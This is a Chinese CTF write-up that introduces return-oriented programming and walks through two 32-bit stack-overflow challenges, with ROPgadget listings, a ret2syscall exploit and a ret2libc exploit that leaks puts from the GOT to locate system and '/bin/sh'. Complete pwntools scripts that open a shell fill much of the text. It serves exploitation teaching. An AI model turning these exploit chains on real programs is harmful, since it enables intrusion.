ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码。
ROP的核心思想:攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接。操作系统通过栈来进行函数的调用和返回。函数的调用和返回就是通过压栈和出栈来实现的。每个程序都会维护一个程序运行栈,栈为所有函数共享,每次函数调用,系统会分配一个栈桢给当前被调用函数,用于参数的传递、局部变量的维护、返回地址的填入等。栈帧是程序运行栈的一部分 ,在Linux中 ,通过%esp和 %ebp寄存器维护栈顶指针和栈帧的起始地址 ,%eip是程序计数器寄存器 [1] 。而ROP攻击则是利用以ret结尾的程序片段 ,操作这些栈相关寄存器,控制程序的流程,执行相应的gadget,实施攻击者预设目标 。ROP不同于retum-to-libc攻击之处在于,R0P攻击以ret指令结尾的函数代码片段 ,而不是整个函数本身去完成预定的操作。从广义角度讲 ,return-to-libc攻击是ROP攻的特例。最初ROP攻击实现在x86体系结构下,随后扩展到各种体系结构.。与以往攻击技术不同的是,ROP恶意代码不包含任何指令,将自己的恶意代码隐藏在正常代码中。因而,它可以绕过W⊕X的防御技术
下面以两道题来尝试一下rop的运用
第一题链接:https://pan.baidu.com/s/1R1TI2ERHpz7yNwf86k4mEg
提取码:izc9
32位的文件,
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
打开了nx保护。Ida打开
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}
看到个gets,典型的栈溢出。查看了字符串,找到
.rodata:080BE408 00000008 C /bin/sh
但没有system。那我们就利用系统调用来获取shell。execve(“/bin/sh”,NULL,NULL)
其中,该程序是 32 位,所以我们需要使得
-
系统调用号,即 eax 应该为 0xb
-
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
-
第二个参数,即 ecx 应该为 0
-
第三个参数,即 edx 应该为 0
而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。
首先,我们来寻找控制 eax 的 gadgets
~/Desktop$ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
可以看到有上述几个都可以控制 eax,我选取第二个来作为 gadgets。
类似的,我们可以得到控制其它寄存器的 gadgets
~/Desktop$ ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret
这里,我选择
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
这个可以直接控制其它三个寄存器。
此外,我们需要获得 /bin/sh 字符串对应的地址。
0x080be408 : /bin/sh
可以找到对应的地址,此外,还有 int 0x80 的地址,如下
~/Desktop$ ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc
同时,也找到对应的地址了。
下面就是对应的 payload,其中 0xb 为 execve 对应的系统调用号。
payload = flat([‘A’ * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
现在我们还要拿到的就是溢出的位置,溢出填充空间为112.
Exp
#!/usr/bin/env python
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()
拿到shell
第二题链接:https://pan.baidu.com/s/1Nl415KprP4REu9aiXvlhrw
提取码:0f0d
32位的elf文件,先用ida打看可以看到典型的栈溢出
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(&s);
return 0;
}
查保护
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
开启了栈不可执行,所以可以明白思路就是rop。查了下函数发现没有system也没有’/bin/sh’,所以我们需要用到libc里面的system和binsh,先计算下覆盖的位置
EBP 0x62616163 ('caab')
ESP 0xffffd1e0 ◂— 0x62616165 ('eaab')
EIP 0x62616164 ('daab')
───────────────────────────────────[ DISASM
]───────────────────────────────────
Invalid address 0x62616164
>>> cyclic_find('daab')
112
再查下libc可以利用的表
readelf -r ret2libc3
Relocation section '.rel.dyn' at offset 0x394 contains 3 entries:
Offset Info Type Sym.Value Sym. Name
08049ffc 00000506 R_386_GLOB_DAT 00000000 __gmon_start__
0804a040 00000d05 R_386_COPY 0804a040 stdin@GLIBC_2.0
0804a060 00000b05 R_386_COPY 0804a060 stdout@GLIBC_2.0
Relocation section '.rel.plt' at offset 0x3ac contains 10 entries:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 gets@GLIBC_2.0
0804a014 00000307 R_386_JUMP_SLOT 00000000 time@GLIBC_2.0
0804a018 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
0804a01c 00000507 R_386_JUMP_SLOT 00000000 __gmon_start__
0804a020 00000607 R_386_JUMP_SLOT 00000000 srand@GLIBC_2.0
0804a024 00000707 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a028 00000807 R_386_JUMP_SLOT 00000000 setvbuf@GLIBC_2.0
0804a02c 00000907 R_386_JUMP_SLOT 00000000 rand@GLIBC_2.0
0804a030 00000a07 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
我们选取puts来泄露地址,当然也可以main来泄露。
第一段代码
elf=ELF('ret2libc3')
context.terminal = ['terminator','-x','sh','-c']
put_got=elf.got['puts']
put_plt=elf.plt['puts']
main_symbols=elf.symbols['main']
r=process('./ret2libc3')
pwnlib.gdb.attach(r)
payload=flat(['a'*112,put_plt,main_symbols,put_got])#'a'*112覆盖到了main函数的返回为put_plt,然后再把puts的返回值覆盖到main函数
r.sendlineafter('Can you find it !?', payload)
puts_addr=u32(r.recv()[0:4])#交互泄露puts的地址
上面的代码经过运行之后我们拿到了puts_addr的实际地址,并且程序运行又返回到了main。
通过这个实际地址我们就可以拿到libc的版本号了
libc = LibcSearcher('puts', puts_addr)
第二段代码
libc = LibcSearcher('puts', puts_addr)#通过泄露的puts的地址可以拿到libc的版本
puts_libc=libc.dump('puts')#puts在libc中的地址
base_addr=puts_addr-puts_libc#基地址
system_addr=base_addr+libc.dump('system')
binsh_addr=base_addr+libc.dump('str_bin_sh')
payload=flat(['A' *104,system_addr,'aaaa',binsh_addr])\#注意第二次运行main函数的时候覆盖的位置不同,可以cyclic再计算一遍,'aaaa'就是用来填充位置的。
r.sendlineafter('Can you find it !?', payload)
r.interactive()
完整的exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *
elf=ELF('ret2libc3')
context.terminal = ['terminator','-x','sh','-c']
put_got=elf.got['puts']
put_plt=elf.plt['puts']
main_symbols=elf.symbols['main']
r=process('./ret2libc3')
pwnlib.gdb.attach(r)
payload=flat(['a'*112,put_plt,main_symbols,put_got])#'a'*112覆盖到了main函数的返回为put_plt,然后再把puts的返回值覆盖到main函数
r.sendlineafter('Can you find it !?', payload)
puts_addr=u32(r.recv()[0:4])#交互泄露puts的地址
#r.sendline('aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab')\#用来计算第二次的覆盖位置
libc = LibcSearcher('puts', puts_addr)#通过泄露的puts的地址可以拿到libc的版本
puts_libc=libc.dump('puts')#puts在libc中的地址
base_addr=puts_addr-puts_libc#基地址
system_addr=base_addr+libc.dump('system')
binsh_addr=base_addr+libc.dump('str_bin_sh')
payload=flat(['A' *104,system_addr,'aaaa',binsh_addr])\#注意第二次运行main函数的时候覆盖的位置不同,可以cyclic再计算一遍,'aaaa'就是用来填充位置的。
r.sendlineafter('Can you find it !?', payload)
r.interactive()
直接运行不知道为什么会卡在这里,但用gdb调试就可以拿到shell
~/Desktop$ python t.py
[*] '/home/katrina/Desktop/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './ret2libc3': pid 26084
[+]
http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_i386.deb